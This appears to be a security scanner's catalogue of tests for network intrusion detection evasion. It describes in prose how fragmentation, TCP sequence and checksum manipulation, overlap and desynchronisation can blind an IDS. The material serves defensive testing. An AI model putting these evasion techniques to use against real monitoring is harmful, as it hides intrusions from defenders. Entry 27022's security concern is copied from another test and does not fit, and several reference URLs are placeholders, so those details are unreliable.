Verbose Description
This test determines whether a network intrusion detection system is capable of reconstructing data from network transactions when the packets compromising those transactions are sent out-of-order. Real TCP/IP network software is capable of handling arbitrarily ordered packets; network intrusion detection software is frequently unable to do so.

Security Concerns
An intrusion detection system that cannot handle out-of-order packets can be evaded entirely by an attacker that forces all of her packets to be sent in random order.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27005. IDS TCP Sequence Number Verification Test (Jump-Up)

Verbose Description
This test attempts to determine whether a network intrusion detection system adequately verifies the sequence numbers on TCP segments. Real TCP/IP network software discards TCP segments that do not bear appropriate sequence numbers. Network intrusion detection software frequently does not, and can be forced to accept bad network packets which confuse TCP analysis and allow attacks to be slipped past the system.

This specific test functions by artificially increasing the sequence numbers in mid-connection. A real TCP/IP stack will discard the connection at this point; poorly functioning IDS software will not.

Security Concerns
An intrusion detection system that does not verify TCP sequence numbers can be evaded entirely by an attacker who interleaves real TCP packets with false, badly sequenced TCP packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High

Underlying Cause: Implementation
Impact of Attack: Accountability

27006. IDS TCP Sequence Number Verification Test (Interleave)

Verbose Description
This test attempts to determine whether a network intrusion detection system adequately verifies the sequence numbers on TCP segments. Real TCP/IP network software discards TCP segments that do not bear appropriate sequence numbers. Network intrusion detection software frequently does not, and can be forced to accept bad network packets which confuse TCP analysis and allow attacks to be slipped past the system.

This specific test functions by artificially inserting a badly-sequenced duplicate TCP segment after each legitimate segment. Real TCP/IP stacks will discard the bad segments and reassemble the attack the connection contains. Poorly functioning IDS software will not.

Security Concerns
An intrusion detection system that does not verify TCP sequence numbers can be evaded entirely by an attacker who interleaves real TCP packets with false, badly sequenced TCP packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27007. IDS IP Checksum Verification

Verbose Description
This test attempts to determine whether an intrusion detection system correctly verifies the IP checksum carried on all IP packets. Real TCP/IP software ensures that the checksum on each packet is valid before processing it. Many network intrusion detection systems do not verify the checksum, and can thus be fooled into accepting bad packets, which confuses network traffic analysis and allows attacks to be slipped past the system.

Security Concerns
An intrusion detection system that does not verify IP checksums can be evaded entirely by an attacker who injects IP packets with invalid checksums into attack-bearing network connections.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27008. IDS TCP Checksum Verification

Verbose Description
This test attempts to determine whether an intrusion detection system correctly verifies the TCP checksum carried on all TCP packets. Real TCP/IP software ensures that the checksum on each packet is valid before processing it. Many network intrusion detection systems do not verify the checksum, and can thus be fooled into accepting bad packets, which confuses network traffic analysis and allows attacks to be slipped past the system.

Security Concerns
An intrusion detection system that does not verify TCP checksums can be evaded entirely by an attacker who injects TCP packets with invalid checksums into attack-bearing network connections.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation

Impact of Attack: Accountability

27009. IDS TCB Desynchronization Test (Data)

Verbose Description
This test attempts to "desynchronize" an intrusion detection system from a TCP connection being used to carry out an attack. By creating a false TCP connection prior to carrying out a real attack, this test attempts to convince an IDS that the attack-bearing connection is entirely invalid, thus preventing it from monitoring the data exchanged in the connection.

Security Concerns
An intrusion detection system that can be desynchronized from connections can be evaded entirely by an attacker that forces desynchronization to occur for all attack-bearing connections.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27010. IDS TCP Data-in-SYN Test

Verbose Description
This test attempts to determine whether a network intrusion detection system correctly deals with data contained in TCP handshake packets. Real TCP/IP software, in accordance with the RFC standard for the TCP protocol, accepts data contained in SYN handshake packets. Many network intrusion detection systems do not, and data contained in SYN packets is thus invisible to these systems.

Security Concerns
An intrusion detection system that fails to detect data in SYN packets can be evaded completely by an attacker that can couch significant portions of an attack inside of a SYN packet.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27011. IDS IP Fragment Replay

Verbose Description
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All real TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

This test attempts to verify that a network intrusion detection system correctly reassembles complete IP packets out of IP fragment streams.

This specific test attempts to confuse an intrusion detection system by "replaying" a single fragment in a stream of fragments. Real TCP/IP stacks will discard the duplicated fragment. Broken IDS software may incorrectly reassemble the entire fragment stream.

Security Concerns
A network intrusion detection system that fails to reassemble IP fragment streams can be evaded completely by an attacker that artificially fragments all attack-bearing packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation

Impact of Attack: Accountability

27012. IDS IP Fragmentation Test (8-Byte Tiny Frags)

Verbose Description
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All real TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

This test attempts to verify that a network intrusion detection system correctly reassembles complete IP packets out of IP fragment streams.

Security Concerns
A network intrusion detection system that fails to reassemble IP fragment streams can be evaded completely by an attacker that artificially fragments all attack-bearing packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27013. IDS IP Fragmentation Test (24-byte Packets)

Verbose Description
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All real TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

This test attempts to verify that a network intrusion detection system correctly reassembles complete IP packets out of IP fragment streams.

Security Concerns
A network intrusion detection system that fails to reassemble IP fragment streams can be evaded completely by an attacker that artificially fragments all attack-bearing packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27014. IDS IP Fragment Out-of-Order Test

Verbose Description
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All real TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

This test attempts to verify that a network intrusion detection system correctly reassembles complete IP packets out of IP fragment streams.

This specific test attempts to confuse an intrusion detection system by sending a single fragment out-of-order, with the marked "final" fragment sent before the last data fragment. Real TCP/IP stacks will correctly reassemble fragments regardless of the order in which they arrive. Broken network IDS software may incorrectly reassemble the entire fragment stream, especially when the final fragment appears out of order (some systems may mistakenly assume a fragment stream has been completely transmitted as soon as the final fragment appears in the stream).

Security Concerns
A network intrusion detection system that fails to reassemble IP fragment streams can be evaded completely by an attacker that artificially fragments all attack-bearing packets.

References
XXX
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/services/support/whitepapers/security/IDSpaper.pdf

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27015. IDS IP Fragmentation Overlap Test

Verbose Description
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All real TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

This test attempts to verify that a network intrusion detection system correctly reassembles complete IP packets out of IP fragment streams.

This specific test attempts to confuse an intrusion detection system by sending multiple fragments of varying sizes which overlap each other. Different operating systems handle this condition in different ways. An intrusion detection system that cannot duplicate exactly the manner in which the target of an attack resolves overlapping fragments can be forced to incorrectly reassemble a fragment stream.

Security Concerns
A network intrusion detection system that fails to reassemble IP fragment streams can be evaded completely by an attacker that artificially fragments all attack-bearing packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure

Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27016. IDS TCP Three-Way-Handshake Test

Verbose Description
TCP connections are initiated by means of a handshake protocol, during which both sides of the connection agree to the parameters used by the connection. All TCP/IP stacks communicate over TCP only after establishing a connection with a handshake. Some network intrusion detection systems ignore the handshake entirely, and assume that any data sent over the network in a TCP packet is part of a legitimate connection.

This test attempts to verify whether a network intrusion detection system actually waits for a handshake before recording data from a connection.

Security Concerns
A network intrusion detection system that fails to wait for a handshake before recording data can be fatally confused by an attacker that injects fake TCP packets onto the network before a real, attack-bearing connection.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27017. IDS TCP ACK Flag Verification

Verbose Description
Normally, all data exchanged in a TCP connection is sent in a TCP packet with the ACK ("acknowledge") flag set. Many TCP/IP stacks will refuse to accept data in a packet that does not bear an ACK flag. Network intrusion detection systems frequently do not verify the presence of the ACK flag, and can thus be confused into accepting data that is not actually being exchanged in an actual connection.

Security Concerns
A network intrusion detection system that fails to verify the presence of the ACK flag on data packets can be evaded entirely by an attacker that injects fake data packets (without the ACK flag set) in the middle of an attack-bearing connection.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27018. IDS IP Fragmentation Test (Out-of-Order Fragments)

Verbose Description
"Fragmentation" is the process by which large IP packets are broken into smaller packets for transmission over network media with packet size limitations. All real TCP/IP stacks handle fragmentation, which requires the network stack to reassemble complete IP packets from streams of fragmented packets.

This test attempts to verify that a network intrusion detection system correctly reassembles complete IP packets out of IP fragment streams.

This specific test attempts to confuse an intrusion detection system by sending a single fragment out-of-order. Real TCP/IP stacks will correctly reassemble fragments regardless of the order in which they arrive. Broken network IDS software may incorrectly reassemble the entire fragment stream.

Security Concerns
A network intrusion detection system that fails to reassemble IP fragment streams can be evaded completely by an attacker that artificially fragments all attack-bearing packets.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection

http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27019. IDS TCP Segment Retransmission (Inconsistant)

Verbose Description
Individual segments in a TCP connection can be repeated. Typically, the first correctly-sequenced segment received in a connection will be accepted, and subsequent duplicate segments will be discarded. Real TCP/IP stacks handle retransmitted segments in a robust fashion by considering sequence numbers. Many intrusion detection systems fail to do so, and can be forced to accept invalid data when segments are repeated.

This specific test attempts to confuse a network IDS by replaying a segment with inconsistant data. A real TCP/IP stack will discard the retransmitted packet; broken IDS software will accept the packet and become desynchronized.

Security Concerns
An intrusion detection system that fails to account for retransmitted TCP segments can be completely evaded by an attacker that obscures attack-bearing connections with spurious retransmitted segments.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27020. IDS TCP Segment Retransmission

Verbose Description

Individual segments in a TCP connection can be repeated. Typically, the first correctly-sequenced segment received in a connection will be accepted, and subsequent duplicate segments will be discarded. Real TCP/IP stacks handle retransmitted segments in a robust fashion by considering sequence numbers. Many intrusion detection systems fail to do so, and can be forced to accept invalid data when segments are repeated.

This specific test attempts to confuse a network IDS by replaying a single segment. A real TCP/IP stack will discard the retransmitted packet; broken IDS software will accept the packet and become desynchronized.

Security Concerns
An intrusion detection system that fails to account for retransmitted TCP segments can be completely evaded by an attacker that obscures attack-bearing connections with spurious retransmitted segments.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/services/support/whitepapers/security/IDSpaper.pdf

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27021. IDS TCP Second-SYN Test

Verbose Description
TCP connections are initiated by a handshake protocol involving TCP packets with the SYN flag set. A TCP SYN packet requests a new connection to be created, and specifies the sequence numbers for the new connection. Real TCP/IP software rejects SYN packets received after a connection has started. Broken intrusion detection system software may become confused when spurious SYN packets are received.

Security Concerns
An intrusion detection system that fails to reject spurious SYN packets can be evaded by an attacker that injects SYNs into opened, attack-bearing connections.

References

Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27022. IDS TCP Reset Test

Verbose Description
TCP connections are terminated by messages that request connection teardown. Real TCP/IP software closes open TCP connections when a correctly-sequenced teardown message is received; once a connection is closed, a new connection can be created using the same ports.

Some broken intrusion detection systems fail to tear down connections when a teardown message is received. These systems are incapable of tracking new connections that re-use the port numbers from previously closed connections.

Security Concerns
An intrusion detection system that cannot handle out-of-order packets can be evaded entirely by an attacker that forces all of her packets to be sent in random order.

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27023. IDS Baseline (Multiple-Segments)

Verbose Description
This test determines whether a network intrusion detection system is appropriately configured to detect attacks in TCP network traffic.

Risk Factor: Low
Ease of repair: Difficult

Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27024. IDS TCP Sequence Number Wrapping

Verbose Description
TCP sequence numbers are 32-bit integers. The sequence numbers of a given connection start at an effectively random number. TCP/IP network stacks are required to handle sequence number "wraparound", which occurs when the TCP sequence number exceeds the maximum number that can be expressed in 32 bits and thus wraps back to zero. Broken network intrusion detection systems fail to handle this case, and packets received after the sequence numbers wrap will be discarded.

Security Concerns
An attacker can render arbitrary TCP segments invisible to an afflicted IDS by inducing TCP sequence number wraparound, and sending critical information over the connection after the IDS has been confused by the wrapped sequence numbers.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability

27025. IDS TCP Overlap Test

Verbose Description
TCP packets contain a variable amount of data. The sequence numbers on a TCP segment specify what point in the stream the data in that segment should appear at.

Two TCP segments can contain conflicting data if the sequence space used by the two segments "overlap". Different TCP/IP stacks handle this rare case in different manners. A network intrusion detection system that cannot duplicate exactly the behavior of the systems it watches can be

confused, and forced to see different data on the network than what is actually being exchanged.

Security Concerns
A network intrusion detection system that does not account for TCP overlap can be evaded completely by an attacker who induces TCP overlap to obscure data in an attack-bearing connection.

References
Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection
http://www.nai.com/PAPERLOCATION

Risk Factor: Low
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Accountability